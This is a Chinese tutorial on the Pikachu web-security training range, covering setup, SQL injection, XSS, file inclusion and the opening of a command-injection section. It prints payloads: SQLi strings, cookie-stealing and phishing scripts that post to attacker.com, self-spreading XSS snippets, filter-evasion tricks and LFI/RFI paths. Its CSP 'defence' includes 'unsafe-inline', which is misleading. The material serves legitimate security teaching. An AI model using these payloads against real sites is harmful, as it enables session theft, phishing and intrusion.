Pikachu(皮卡丘)网络安全靶场源码实战项目
Pikachu是一个开源的Web安全测试靶场,专为安全初学者和渗透测试人员设计,内置常见漏洞如SQL注入、XSS、文件包含等。其环境搭建基于PHP+MySQL,推荐使用集成环境(如XAMPP或PHPStudy)快速部署。# 下载Pikachu靶场源码# 将项目放入web根目录并启动服务# Apache + MySQL 启动后,访问 http://localhost/pikachu部署完成后需初始化
简介:”皮卡丘”靶场源码是一个专为Web安全与渗透测试学习设计的开源实践平台,包含完整的漏洞环境源代码,支持本地部署。该平台模拟了SQL注入、XSS、文件包含、命令注入、CSRF等常见Web漏洞,帮助初学者和安全从业者在安全环境中深入理解漏洞原理与防御机制。通过动手实验,学习者可掌握漏洞利用技术及修复方法,全面提升Web安全实战能力。 
1. Pikachu靶场环境搭建与配置
1.1 Pikachu靶场简介与部署准备
Pikachu是一个开源的Web安全测试靶场,专为安全初学者和渗透测试人员设计,内置常见漏洞如SQL注入、XSS、文件包含等。其环境搭建基于PHP+MySQL,推荐使用集成环境(如XAMPP或PHPStudy)快速部署。
# 下载Pikachu靶场源码
git clone https://github.com/zhuifengshaonianhanlu/pikachu.git
# 将项目放入web根目录并启动服务
# Apache + MySQL 启动后,访问 http://localhost/pikachu
部署完成后需初始化数据库,在 pikachu/inc/config.inc.php 中配置数据库连接信息,并通过 http://localhost/pikachu/install.php 完成安装。确保 display_errors=On 以便观察漏洞行为,同时建议在虚拟机中运行以保障安全性。
2. SQL注入漏洞原理与实战利用
SQL注入(SQL Injection)作为OWASP Top 10中长期占据前列的高危漏洞类型,其危害性不容小觑。它本质上是一种代码注入攻击方式,攻击者通过在用户输入字段中插入恶意SQL语句片段,从而绕过应用层逻辑控制,直接操控后端数据库执行非预期操作。从读取敏感数据、篡改记录到获取系统权限,SQL注入可导致整个信息系统失守。本章将深入剖析SQL注入的技术原理,并结合Pikachu靶场环境进行多维度实战演练,涵盖手工探测、工具辅助及防御机制设计等关键环节。
2.1 SQL注入的理论基础
理解SQL注入的前提是掌握Web应用与数据库之间的交互机制。当动态网页需要根据用户请求查询数据库时,通常会拼接SQL语句。若未对用户输入做严格过滤或参数化处理,攻击者即可构造特殊输入改变原始SQL语句结构,实现非法数据访问甚至命令执行。
2.1.1 数据库查询机制与用户输入交互
现代Web应用普遍采用“前端 → 后端服务 → 数据库”三层架构模式。以登录功能为例,典型的验证逻辑如下:
SELECT id, username FROM users WHERE username = '$input_user' AND password = '$input_pass';
此处 $input_user 和 $input_pass 是由用户提交的表单内容直接嵌入SQL语句中的变量。如果用户输入为 ' OR '1'='1 ,则最终生成的SQL语句变为:
SELECT id, username FROM users WHERE username = '' OR '1'='1' AND password = '' OR '1'='1';
由于 '1'='1' 恒为真,该条件将匹配所有记录,导致身份验证被绕过。这种利用字符串拼接破坏原有逻辑的方式正是SQL注入的核心思想。
用户输入污染路径分析
用户输入进入数据库前需经过多个处理阶段:
1. 客户端提交 :浏览器通过GET/POST发送数据;
2. 服务器接收 :PHP、Java等后端语言接收并解析请求体;
3. 字符串拼接 :未使用预编译技术时,直接拼接至SQL语句;
4. 数据库执行 :DBMS解析并执行构造后的SQL指令。
只要任一环节缺乏输入校验或使用不安全的API(如 mysql_query() ),就可能引入注入风险。
以下流程图展示了典型SQL注入的数据流传播过程:
graph TD
A[用户输入恶意数据] --> B{Web应用接收参数}
B --> C[未过滤直接拼接到SQL]
C --> D[数据库执行修改后语句]
D --> E[返回异常结果或泄露信息]
E --> F[攻击者获取敏感数据]
该流程揭示了为何“信任用户输入”是致命错误——任何来自外部的输入都应被视为潜在威胁。
此外,不同数据库管理系统(MySQL、PostgreSQL、Oracle、MSSQL)语法存在差异,但注入基本原理一致。例如,MySQL支持 UNION SELECT 联合查询合并结果集,而MSSQL可通过 WAITFOR DELAY 实现时间盲注延迟响应。
| 数据库 | 注释符号 | 延迟函数 | 枚举表方法 |
|---|---|---|---|
| MySQL | -- , # |
SLEEP(5) |
information_schema.tables |
| PostgreSQL | -- |
PG_SLEEP(5) |
pg_tables |
| Oracle | -- |
DBMS_LOCK.SLEEP(5) |
ALL_TABLES |
| MSSQL | -- , /* */ |
WAITFOR DELAY '0:0:5' |
sysobjects WHERE xtype='U' |
掌握这些特性有助于针对特定目标定制攻击策略。
2.1.2 SQL注入的分类:数字型、字符型、搜索型注入
根据输入上下文和闭合方式的不同,SQL注入可分为多种类型,每种类型的构造手法和检测方式均有区别。
数字型注入(Integer-based Injection)
当输入参数用于数值比较且无需引号包裹时,属于数字型注入场景。例如:
$id = $_GET['id'];
$sql = "SELECT * FROM news WHERE id = $id";
$result = mysql_query($sql);
攻击者只需传入 id=1 OR 1=1 即可使条件恒成立,返回全部新闻条目。此类注入无需考虑引号闭合问题,构造简单,易被初学者识别。
字符型注入(String-based Injection)
当输入值出现在单引号或双引号内时,必须正确闭合引号才能执行有效注入。常见形式包括:
SELECT * FROM products WHERE name = '$product_name'
假设用户输入为 ' OR '1'='1 ,则语句变为:
SELECT * FROM products WHERE name = '' OR '1'='1'
此时 '1'='1' 条件永远为真,查询返回所有商品信息。更复杂的场景还需处理后续SQL片段,避免语法错误。例如原语句末尾有 LIMIT 1 ,则需添加注释符跳过后半部分:
' OR '1'='1' --
这使得数据库忽略 LIMIT 1 ,确保注入生效。
搜索型注入(Search-based Injection)
发生在模糊查询场景中,常用于商品搜索、文章检索等功能。典型SQL语句如下:
SELECT title, content FROM articles WHERE title LIKE '%$_POST[keyword]%';
若未对 %keyword% 做转义处理,攻击者可输入:
%' UNION SELECT database(), version() --
构造出完整联合查询:
SELECT title, content FROM articles WHERE title LIKE '%%' UNION SELECT database(), version() -- %';
成功获取数据库名和版本信息。
不同类型注入的关键在于判断输入是否被引号包围以及如何正确闭合表达式。实践中可通过添加单引号 ' 观察页面是否报错来初步判断注入类型。
下面是一个简单的测试表格用于识别注入类型:
| 输入尝试 | 页面反应 | 推断类型 |
|---|---|---|
1 |
正常显示 | 正常输入 |
1' |
报错(SQL syntax error) | 字符型注入可能 |
1" OR 1=1 |
显示所有数据 | 双引号字符型注入 |
1 OR 1=1 |
显示所有数据 | 数字型注入 |
' OR 'a'='a |
返回更多结果 | 字符型注入确认 |
此表可用于快速定位注入点所属类别,为进一步利用奠定基础。
2.1.3 注入点识别的基本方法与判断依据
发现注入点是渗透测试的第一步。常用识别方法包括错误回显分析、布尔响应差异、时间延迟响应等。
错误回显法(Error-based Detection)
许多老旧系统或开发环境中启用了详细错误提示,攻击者可通过触发SQL语法错误获取数据库类型、字段数、表名等信息。例如输入:
' AND 1=CONVERT(int, @@version)--
在MSSQL中若版本信息被强制转换为整数,将抛出类型转换异常,错误消息中往往包含完整的版本字符串。
布尔盲注探测(Boolean-based Probing)
当无错误信息返回时,可借助真假条件判断是否存在注入。例如对比以下两个请求:
- URL:
http://pikachu/sqli.php?id=1 AND 1=1 - URL:
http://pikachu/sqli.php?id=1 AND 1=2
若前者正常返回内容,后者空白或跳转,则说明应用对条件变化有响应,存在布尔盲注可能性。
时间盲注探测(Time-based Detection)
利用数据库延时函数判断注入存在性。例如:
http://pikachu/sqli.php?id=1 AND IF(1=1, SLEEP(5), 0)
若页面响应延迟约5秒,而 IF(1=2, SLEEP(5), 0) 不延迟,则证明后台执行了该逻辑,确认存在时间盲注。
工具辅助识别:Burp Suite + Intruder
使用Burp Suite抓包后,在Intruder模块设置Payload位置,批量发送如下测试载荷:
'
"
AND 1=1
AND 1=2
' OR '1'='1
" OR "a"="a
观察响应长度、状态码、响应时间的变化趋势,构建判断矩阵:
| Payload | Response Length | Status Code | Response Time (ms) | 判断结论 |
|---|---|---|---|---|
' |
0 | 500 | 120 | 语法错误 |
AND 1=1 |
2048 | 200 | 80 | 正常返回 |
AND 1=2 |
1024 | 200 | 75 | 内容减少 |
' OR '1'='1 |
2048 | 200 | 90 | 成功绕过 |
通过自动化比对响应特征,可高效筛选出可疑注入点。
综上所述,注入点识别依赖于细致的观察力与系统化的测试方法。只有准确判定注入类型与上下文环境,才能为后续的数据提取打下坚实基础。
3. 跨站脚本(XSS)三种类型攻击与防御
3.1 XSS漏洞的形成机理
3.1.1 客户端脚本执行原理与浏览器同源策略
现代Web应用广泛依赖JavaScript等客户端脚本语言来实现动态交互功能。当用户访问一个网页时,浏览器会解析HTML文档结构,并根据 <script> 标签或事件处理器(如 onclick 、 onload )加载并执行嵌入的JavaScript代码。这种机制使得开发者可以构建丰富的前端逻辑,但同时也为恶意代码注入提供了潜在入口。
浏览器在执行脚本时遵循 同源策略 (Same-Origin Policy),该安全模型规定:只有来自相同协议(scheme)、主机(host)和端口(port)的资源才能相互访问DOM、发送XMLHttpRequest请求或共享Cookie。例如, https://example.com:443 无法直接读取 http://example.com:80 或 https://evil.com 的数据。然而,这一限制并不能阻止攻击者通过XSS将恶意脚本注入到目标页面中——一旦脚本被成功执行,它便以当前用户的上下文运行,具备与合法脚本同等的权限,从而绕过同源策略的实际防护效果。
XSS的本质是“信任错位”:服务器信任了不可信的用户输入,导致恶意脚本被当作可信内容返回给浏览器执行。典型的触发路径如下:
graph TD
A[用户输入包含恶意JS代码] --> B(服务端未过滤直接拼接进响应)
B --> C[浏览器解析响应]
C --> D{发现<script>标签}
D --> E[执行恶意脚本]
E --> F[窃取Cookie/重定向/钓鱼]
此流程揭示了一个关键点:XSS不是发生在服务器端的代码执行,而是 客户端渲染阶段的非法脚本激活 。正因为如此,即使后端系统本身无漏洞,只要输出内容未正确编码,就可能成为XSS的温床。
进一步分析,JavaScript的灵活性加剧了风险。比如,可通过多种方式构造可执行代码:
- <script>alert(1)</script>
- <img src=x onerror=alert(1)>
- <a href="javascript:alert(document.cookie)">点击我</a>
这些变体展示了XSS载荷的多样性,也说明仅靠简单的字符串过滤难以全面防御。更深层次的问题在于,开发人员常误以为“只要不允许多行输入就不会有危险”,但实际上单个属性中的事件处理程序已足以完成完整攻击。
此外,现代前端框架(如React、Vue)虽然默认进行HTML转义,但在使用 v-html (Vue)或 dangerouslySetInnerHTML (React)时仍可能引入风险。因此,理解浏览器如何解析和执行脚本,是设计有效防御机制的前提。
3.1.2 用户输入未过滤导致脚本注入的典型场景
在实际Web开发中,许多功能模块都需要接收并展示用户输入内容,若缺乏严格的输入验证与输出编码,极易成为XSS攻击的突破口。以下列举几种常见且高危的应用场景:
搜索框回显
搜索结果页面通常会在标题或提示信息中显示用户查询关键词。例如:
<p>您搜索的是:“<?php echo $_GET['keyword']; ?>”</p>
如果用户提交 keyword=<script>alert(1)</script> ,该脚本将被原样输出并执行。
用户评论/留言系统
允许用户发布文本内容的功能(如论坛、博客评论区)是最常见的存储型XSS载体。假设后台未对富文本做过滤,攻击者可提交如下内容:
<script>
fetch('/steal?cookie=' + encodeURIComponent(document.cookie))
</script>
此后所有访问该页面的用户都会自动执行此脚本,造成大规模会话泄露。
URL参数反射
某些页面从URL参数中提取数据并直接写入页面,例如错误提示页:
/error.php?msg=文件不存在
后端代码可能这样处理:
echo "<div class='error'>" . $_GET['msg'] . "</div>";
此时构造 /error.php?msg=<img src=x onerror=js_payload()> 即可触发反射型XSS。
用户资料字段
昵称、签名、个人简介等字段若支持HTML或未做转义,也可能被滥用。例如设置昵称为 <svg onload=alert(1)> ,一旦其他用户查看其主页即遭攻击。
为系统化识别这些风险点,可建立如下检测表格:
| 风险模块 | 输入来源 | 输出位置 | 是否易受XSS影响 | 建议防护措施 |
|---|---|---|---|---|
| 搜索功能 | GET参数 | HTML正文 | 是 | 输出编码 |
| 留言板 | POST表单 | 数据库存储 → HTML | 是(存储型) | 输入过滤 + 输出编码 |
| 错误提示页面 | URL参数 | 内联文本 | 是(反射型) | 对URL参数进行HTML实体编码 |
| 用户头像alt属性 | 用户输入 | img标签alt属性 | 否(通常安全) | 注意引号闭合 |
| 富文本编辑器 | WYSIWYG编辑内容 | innerHTML插入 | 极高 | 使用白名单过滤HTML标签及事件属性 |
值得注意的是,即使是看似“只读”的数据显示区域,也可能因DOM操作不当而引入漏洞。例如前端JavaScript使用 element.innerHTML = userContent 而非 textContent ,就会重新激活潜在的HTML标签。
综上所述,任何将不可信数据嵌入到HTML文档中的行为,都必须经过严格的安全处理。忽视这一点,哪怕是最基础的功能,也可能演变为严重安全事件的起点。
3.1.3 XSS的危害层级:窃取Cookie、会话劫持、钓鱼攻击
XSS攻击的破坏力远不止弹出一个警告框那么简单。根据攻击载荷的设计复杂度,其危害可分为多个层级,逐层递进地威胁用户隐私与系统安全。
第一层:信息窃取(Cookie盗取)
最基础也是最常见的用途是获取用户的会话Cookie。由于Cookie通常包含session ID,攻击者可借此 impersonate 用户身份登录系统。示例脚本如下:
fetch('https://attacker.com/log?c=' + btoa(document.cookie), {
method: 'POST',
credentials: 'include'
});
该脚本通过Base64编码Cookie并通过POST请求发送至攻击者控制的服务器。配合PHP接收脚本:
// attacker.com/log.php
file_put_contents('stolen.txt', $_POST['c'] . "\n", FILE_APPEND);
即可批量收集受害者凭证。
第二层:会话劫持与持久化控制
获得Cookie后,攻击者可使用浏览器插件(如EditThisCookie)导入并接管会话。若目标网站未启用双重认证或IP绑定,几乎可完全模拟真实用户操作。更进一步,结合 localStorage 或 IndexedDB 读取,还能获取本地存储的Token或其他敏感信息。
第三层:钓鱼攻击与界面伪造
利用 document.write 或DOM操作,可在原页面基础上叠加伪造的登录框:
document.body.innerHTML += `
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999">
<h2>请重新登录</h2>
<input type="text" id="fake_user" placeholder="用户名">
<input type="password" id="fake_pass" placeholder="密码">
<button onclick="send()">提交</button>
</div>`;
function send(){
fetch('https://attacker.com/phish', {
method:'POST',
body: JSON.stringify({
u: document.getElementById('fake_user').value,
p: document.getElementById('fake_pass').value
})
});
}
此类攻击极难察觉,尤其在移动端小屏幕上更具欺骗性。
第四层:蠕虫式传播(Self-Replicating XSS)
在社交平台中,攻击脚本能自动发布新消息并感染更多用户。例如Twitter历史上著名的“Samy”蠕虫:
with(new XMLHttpRequest()){
open("POST","/messages");
setRequestHeader("Content-Type","application/x-www-form-urlencoded");
send("msg=<script>"+btoa(infectCode)+"<\/script>");
}
这种自动化传播能在短时间内波及成千上万用户,造成服务瘫痪或声誉损失。
第五层:结合CSRF实现越权操作
XSS可绕过CSRF令牌保护,因为脚本能读取页面内的隐藏字段并发起请求:
let token = document.querySelector('[name=csrf_token]').value;
fetch('/admin/deleteUser', {
method: 'POST',
body: `csrf_token=${token}&id=123`
});
这使得普通用户也能执行管理员级别的操作。
由此可见,XSS不仅是“前端问题”,更是可能导致 账户全面沦陷、数据大规模泄露、业务逻辑被篡改 的高危漏洞。必须从架构层面予以重视。
3.2 反射型XSS实战演练
3.2.1 构造恶意URL诱导用户点击
反射型XSS的特点是恶意脚本通过URL参数传递,服务器将其“反射”回响应页面中执行,且不会持久化存储。这类攻击依赖社会工程学促使用户访问特定链接。
以Pikachu靶场为例,其“Reflected XSS”模块接受GET参数 message 并直接输出:
http://pikachu.sandbox/message.php?message=hello
响应中包含:
<h2>你搜索的内容是:hello</h2>
尝试注入:
http://pikachu.sandbox/message.php?message=<script>alert(document.domain)</script>
若弹窗出现,则确认存在漏洞。
为了提升攻击成功率,需对载荷进行编码混淆,避免被WAF拦截。常见技巧包括:
- 使用HTML实体编码:
url ?message=<script>alert(1)</script> - 利用String.fromCharCode生成字符串:
javascript eval(String.fromCharCode(97,108,101,114,116,40,49,41)) // alert(1) - 拆分关键字绕过关键词检测:
javascript <img src=x onerror="al"+"ert(1)">
最终构造的钓鱼链接可能是:
https://trusted-site.com/search?q=<img%20src=x%20onerror=%22fetch(`https://attacker.com/c?c=${document.cookie}`)%22>
攻击者可通过邮件、社交媒体私信等方式诱骗用户点击。一旦打开,脚本立即执行,完成信息外泄。
3.2.2 利用JavaScript弹窗验证漏洞存在性
弹窗测试是确认XSS存在的快速手段。尽管 alert(1) 不具备实际危害,但它证明了脚本执行能力。
考虑以下Payload组合:
| Payload | 目的 |
|---|---|
<script>alert(1)</script> |
基础测试 |
<img src=x onerror=alert(1)> |
绕过script标签过滤 |
<svg onload=alert(1)> |
利用SVG标签 |
javascript:alert(1) |
URL跳转类XSS |
<body onload=alert(1)> |
Body事件触发 |
在Pikachu靶场中,尝试提交:
<script>confirm('XSS Vulnerable')</script>
观察是否弹出确认框。若是,则说明存在反射型XSS。
更重要的是理解浏览器解析顺序:HTML解析器先于JavaScript引擎工作。因此即使脚本片段被包裹在非标准标签内,只要最终生成有效的可执行节点,仍会被执行。
3.2.3 结合社会工程学提升攻击成功率
技术只是手段,人性才是突破口。即便拥有完美Payload,若无人点击链接则毫无意义。
常用的社会工程策略包括:
- 伪装成官方通知 :
“您的账户存在异常,请点击链接查看详情” - 制造紧迫感 :
“限时优惠最后1分钟!” - 利用好奇心 :
“有人给你发了一条秘密消息”
结合短链接服务(如bit.ly)隐藏真实地址,增加迷惑性。甚至可部署仿冒站点,先跳转至看似正常的页面,再静默加载恶意脚本。
自动化工具如 BeEF (Browser Exploitation Framework)可进一步扩展攻击面:一旦用户执行脚本,即可远程控制其浏览器,收集键盘记录、摄像头访问权限等。
3.3 存储型XSS深入利用
3.3.1 在留言板等持久化功能中植入恶意脚本
存储型XSS指恶意脚本被永久保存在服务器数据库中,每次访问相关页面都会触发执行。
以Pikachu的“Stored XSS”模块为例,用户可在留言板提交姓名和消息。若后端代码为:
$name = $_POST['name'];
$message = $_POST['message'];
$sql = "INSERT INTO msgs (name, msg) VALUES ('$name', '$message')";
且显示时直接输出:
while($row = mysqli_fetch_array($result)){
echo "<li>{$row['name']}: {$row['msg']}</li>";
}
则攻击者可提交:
- Name: <script>
- Message: document.body.style.background='black';</script>
此后所有访问留言板的用户背景都将变黑。
更危险的是注入持久化监听脚本:
<script>
setInterval(() => {
fetch('https://attacker.com/log', {
method: 'POST',
body: JSON.stringify({
url: location.href,
cookie: document.cookie,
time: new Date()
})
});
}, 5000);
</script>
该脚本每5秒上报一次用户行为,形成长期监控。
3.3.2 实现跨用户自动传播与数据收集
高级攻击可实现自我复制。例如在论坛中发布:
<script>
if(!localStorage.seen){
localStorage.seen = 1;
const post = {title:'紧急通知', content:`<script>${btoa(infectCode)}</script>`};
fetch('/api/posts', {method:'POST', body:JSON.stringify(post)});
}
</script>
首次访问时创建新帖子,后续访问者再次触发,形成指数级扩散。
同时可收集:
- 浏览器指纹(UserAgent、Screen Resolution)
- IP地址(通过 fetch('https://ipinfo.io/json') )
- 访问历史(基于CSS visited selector探测)
3.3.3 攻击效果持续性与隐蔽性分析
相比反射型,存储型XSS具有 无需重复诱导、影响范围广、隐蔽性强 的优势。
隐蔽性优化手段包括:
- 使用 display:none 隐藏恶意元素
- 将脚本放在页面底部延迟执行
- 判断Referer仅对外部流量生效
持续性方面,即使修复了输入过滤,已有数据仍可能含有恶意脚本,需全量清洗数据库。
3.4 DOM型XSS专项研究
3.4.1 基于前端DOM操作的漏洞触发路径
DOM型XSS完全由前端JavaScript引起,不涉及服务器响应。典型案例如:
let hash = location.hash.substring(1);
document.getElementById('output').innerHTML = hash;
当访问 #<img src=x onerror=alert(1)> 时,脚本被执行。
由于请求从未到达服务器,传统WAF难以检测。
3.4.2 document.URL与innerHTML的安全风险
以下API均为高危操作:
- element.innerHTML = userInput
- document.write(userInput)
- eval('(' + userInput + ')')
应替换为:
- element.textContent = userInput
- JSON.parse() 配合CSP
3.4.3 无后端参与的纯客户端攻击模拟
在Pikachu的DOM-XSS模块中,尝试:
http://pikachu.sandbox/domxss.html#<img src=x onerror=alert(1)>
若弹窗出现,说明存在DOM型XSS。
防御应采用CSP策略:
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'nonce-random123'
并避免使用 eval 、 setTimeout(string) 等动态执行接口。
表格:XSS类型对比
| 类型 | 触发方式 | 是否持久 | 防御难度 | 典型场景 |
|---|---|---|---|---|
| 反射型 | URL参数反射 | 否 | 中 | 搜索、错误提示 |
| 存储型 | 数据库存储 | 是 | 高 | 留言板、评论 |
| DOM型 | 前端JS处理 | 视情况 | 极高 | SPA、单页应用 |
代码块示例:安全输出函数
function escapeHtml(text) {
const div = document.createElement('div');
div.textContent = text;
return div.innerHTML;
}
// 使用
const userInput = '<script>alert(1)</script>';
document.getElementById('display').textContent = escapeHtml(userInput);
逻辑分析 :
- textContent 自动转义特殊字符
- innerHTML 获取的是转义后的HTML实体
- 返回结果为 <script>alert(1)</script>
- 安全地展示原始输入内容
参数说明 :
- text : 待转义的用户输入字符串
- 返回值: HTML实体编码后的字符串
该方法兼容性好,无需依赖第三方库,适合在低风险环境中快速部署。
4. 文件包含漏洞(Local/Remote File Inclusion)利用与防护
在现代Web应用开发中,动态加载外部资源已成为提升代码复用性与模块化管理的重要手段。PHP等服务端脚本语言通过 include 、 require 等函数实现对其他文件的引用,从而实现功能拆分和逻辑组织。然而,当这些包含操作依赖于用户可控的输入参数时,攻击者便可能操纵文件路径,诱导服务器加载非预期文件,进而触发本地或远程文件包含漏洞(Local File Inclusion, LFI;Remote File Inclusion, RFI)。这类漏洞不仅可能导致敏感信息泄露,更可被进一步利用以执行任意代码,最终造成系统级控制权的丧失。
文件包含漏洞的本质是程序未能严格校验用户输入的文件路径,导致其突破预设的安全边界。例如,在一个典型的页面路由系统中,开发者可能使用如下结构:
$page = $_GET['page'];
include $page . ".php";
若未对 $page 做任何过滤或白名单限制,攻击者即可传入 ../../../../etc/passwd 等路径尝试读取系统配置文件,或者通过远程URL(如 http://attacker.com/shell.txt )引入恶意脚本,从而实现远程命令执行。此类问题常见于老旧项目、教学靶场以及缺乏安全编码规范的企业系统中。
随着WAF(Web应用防火墙)和安全框架的普及,显式的文件包含漏洞已逐渐减少,但变种攻击方式仍在不断演化。例如,利用PHP封装协议(如 php://input 、 data:// )、日志投毒(Log Poisoning)、会话文件包含等方式绕过传统检测机制。此外,结合文件上传、XSS、命令注入等多种漏洞形成多阶段攻击链的现象也日益普遍。因此,深入理解文件包含的底层机制、掌握其攻击手法与防御策略,对于渗透测试人员与安全开发工程师而言至关重要。
4.1 文件包含漏洞理论剖析
文件包含作为PHP中最常用的代码组织机制之一,其灵活性背后隐藏着巨大的安全风险。只有深入理解其运行原理、调用流程及潜在缺陷,才能有效识别并防范相关威胁。
4.1.1 PHP中include、require函数的工作机制
PHP提供了四个用于文件包含的核心函数: include 、 require 、 include_once 和 require_once 。它们的主要作用是在脚本执行过程中动态加载并解析另一个PHP文件的内容。两者的区别在于错误处理机制: include 在文件不存在时仅产生警告(E_WARNING),脚本继续执行;而 require 则会抛出致命错误(E_COMPILE_ERROR),终止整个程序运行。
以下是一个典型的包含调用示例:
<?php
$page = $_GET['page'] ?? 'home';
include $page . '.php';
?>
该代码根据用户传入的 page 参数决定加载哪个页面模块。理想情况下,用户只能访问 home.php 、 about.php 等合法页面。但由于 $page 直接来自GET请求且未经验证,攻击者可通过构造特殊路径实现非法访问。
执行流程分析:
- 用户请求
http://example.com/index.php?page=../../etc/passwd - 服务器拼接路径为
../../etc/passwd.php - 若目标系统存在
.php后缀自动追加行为,且未开启allow_url_include,则无法直接包含非PHP文件 - 攻击者可尝试截断技巧(如使用
%00空字节)或利用PHP版本差异绕过后缀限制
注意 :自PHP 5.3.4起,空字节截断已被默认禁用,但在旧版本或配置不当的环境中仍可能存在。
此外,PHP支持多种流封装协议(Wrapper),这为高级利用提供了可能性。例如:
php://input:读取原始POST数据流data://text/plain;base64,...:内联数据传输phar://:解析归档文件中的PHP对象
这些特性若被滥用,将极大增强攻击能力。
示例代码演示:
<?php
// 使用 data:// 协议执行内联PHP代码(需 allow_url_fopen=On)
include "data:text/plain;base64,PD9waHAgZWNobyAndGVzdCc7Pz4=";
?>
上述代码将输出 test ,表明即使没有真实文件,也能通过协议注入执行代码。此技术常用于绕过文件扩展名检查。
| 函数 | 错误级别 | 是否允许重复包含 | 典型应用场景 |
|---|---|---|---|
| include | 警告(Warning) | 是 | 动态页面加载 |
| require | 致命错误(Fatal Error) | 是 | 核心库引入 |
| include_once | 警告 | 否 | 防止重复定义 |
| require_once | 致命错误 | 否 | 初始化类库 |
⚠️ 安全建议:应避免使用用户输入直接作为文件名来源,优先采用映射表或白名单机制控制可包含文件范围。
4.1.2 动态文件加载带来的安全边界模糊问题
在实际开发中,为了实现灵活的模块化设计,许多系统采用“前端控制器”模式,即所有请求统一由单一入口文件(如 index.php )处理,并根据路由参数动态包含相应模块。这种架构虽提高了维护效率,但也带来了严重的安全隐患——一旦路由解析逻辑存在缺陷,攻击者便可突破原本设定的功能边界。
考虑如下简化版路由系统:
$routes = [
'user' => 'modules/user.php',
'admin' => 'modules/admin.php',
'profile' => 'modules/profile.php'
];
$path = $_GET['module'] ?? '';
if (isset($routes[$path])) {
include $routes[$path];
} else {
echo "Module not found.";
}
表面上看,该代码通过数组键值匹配实现了安全控制。然而,若后续新增功能未同步更新 $routes 数组,或存在变量覆盖漏洞(如 extract($_GET) ),则可能导致任意文件包含。
更危险的是“路径拼接+相对路径遍历”的组合场景:
$lang = $_GET['lang'] ?? 'en';
include "languages/$lang.lang.php";
攻击者发送请求:
GET /index.php?lang=../../../../etc/passwd%00
若PHP版本较老或配置宽松, %00 可成功截断字符串,最终包含 /etc/passwd 文件内容(尽管无 .php 扩展)。虽然现代PHP已修复此问题,但在某些特定条件下(如Nginx + FastCGI配置异常),仍可能出现解析偏差。
Mermaid 流程图展示攻击路径:
graph TD
A[用户提交GET参数 lang=../../../etc/passwd%00] --> B{服务器接收请求}
B --> C[拼接路径: languages/../../../etc/passwd%00.lang.php]
C --> D[PHP解析路径并去除%00截断]
D --> E[实际访问: /etc/passwd]
E --> F[返回passwd文件内容]
F --> G[敏感信息泄露]
由此可见,动态文件加载机制若缺乏严格的输入验证与路径规范化处理,极易导致安全边界失效。尤其在多层目录结构、符号链接(symlink)、挂载点共存的复杂环境下,路径解析结果可能远超开发者预期。
4.1.3 LFI与RFI的区别及触发条件
本地文件包含(LFI)与远程文件包含(RFI)虽同属文件包含范畴,但其危害程度、利用方式及触发前提存在显著差异。
| 特性 | 本地文件包含(LFI) | 远程文件包含(RFI) |
|---|---|---|
| 定义 | 包含服务器本地存在的文件 | 包含远程HTTP/FTP服务器上的文件 |
| 触发条件 | allow_url_fopen=On (部分情况不需要) |
allow_url_fopen=On 且 allow_url_include=On |
| 典型利用 | 读取 /etc/passwd 、 access.log 等敏感文件 |
下载并执行远程恶意脚本(如WebShell) |
| 危害等级 | 中高(信息泄露为主) | 极高(可获得完整代码执行权限) |
| 防御难度 | 较易(路径校验、白名单) | 高(需关闭关键配置) |
关键配置说明:
allow_url_fopen: 允许打开远程URL作为文件流(默认开启)allow_url_include: 允许将远程URL用于include等语句( 默认关闭 )
这意味着,绝大多数现代PHP环境默认不支持RFI,除非管理员手动开启 allow_url_include 。因此,当前实践中RFI较为少见,而LFI更为普遍。
实验验证:
创建测试文件 test.php :
<?php
$file = $_GET['f'] ?? '';
if ($file) {
include $file;
}
?>
分别测试以下请求:
-
http://localhost/test.php?f=http://example.com/malicious.php
→ 若返回“failed to open stream”,说明allow_url_include=Off -
http://localhost/test.php?f=php://filter/read=convert.base64-encode/resource=index.php
→ 成功返回base64编码的源码,证明LFI存在且支持filter wrapper
该实验表明,即使无法进行RFI,攻击者仍可通过其他协议实现信息窃取或间接代码执行。
综上所述,LFI与RFI虽表现形式不同,但根源一致:均源于对用户输入的过度信任。唯有从设计源头杜绝动态路径拼接,方可从根本上规避此类风险。
5. 命令注入漏洞检测与攻击模拟
在现代Web应用开发中,后端服务常常需要调用操作系统级别的命令来完成特定功能,例如执行网络诊断(如ping、traceroute)、文件处理或系统状态监控等。这种通过程序接口调用系统命令的机制,若缺乏严格的安全控制,极易成为攻击者利用的入口点——即 命令注入漏洞 (Command Injection Vulnerability)。该漏洞允许攻击者在目标服务器上执行任意操作系统命令,进而可能获取敏感信息、篡改数据,甚至完全控制整个主机系统。
命令注入的本质是应用程序将用户输入直接拼接到系统命令字符串中,并交由操作系统的shell解释器执行。由于未对输入内容进行充分过滤和验证,攻击者可通过特殊字符(如分号 ; 、管道符 | 、 && 、反引号 ` 或 $() )改变原有命令逻辑,追加恶意指令。与SQL注入类似,但其危害层级更高——因为它突破了数据库层面,直接作用于操作系统内核空间。
本章节深入剖析命令注入的技术原理、实战利用路径以及防御策略,结合Pikachu靶场环境中的实际案例,展示从漏洞识别到权限获取的完整攻击链。同时,分析常见编程语言中存在风险的函数调用方式,并提出基于安全编码规范和运行时防护机制的综合解决方案。通过对底层系统调用机制的理解,开发者和安全研究人员可更精准地识别潜在风险点,在设计阶段就构建纵深防御体系。
5.1 命令注入的底层原理
命令注入的发生源于应用程序在动态构造系统命令时未能有效隔离不可信输入。当Web应用使用PHP、Python、Java等语言提供的系统调用函数执行OS命令时,若将用户可控参数未经净化地嵌入命令行字符串,便为攻击者提供了注入额外指令的机会。这类漏洞通常出现在“工具型”功能模块中,如在线ping测试、DNS查询、文件压缩/解压接口等。
理解命令注入的关键在于掌握 系统调用函数的工作机制 与 shell解释器的命令解析过程 。大多数编程语言都封装了用于执行外部命令的API,这些API最终会调用操作系统的 exec() 系列系统调用。以Linux为例,常见的执行流程如下:
graph TD
A[用户请求] --> B{Web应用接收参数}
B --> C[拼接命令字符串]
C --> D[调用system()/exec()函数]
D --> E[创建子进程]
E --> F[调用/bin/sh -c 执行命令]
F --> G[Shell解析命令并逐条执行]
G --> H[返回输出结果给客户端]
上述流程揭示了一个关键环节: 命令字符串是由shell解释执行的 。这意味着只要命令字符串中含有合法的shell元字符,就可以实现多命令串联、重定向、后台执行等行为。例如,一个简单的ping功能代码片段如下:
<?php
$ip = $_GET['ip'];
$cmd = "ping -c 4 " . $ip;
system($cmd);
?>
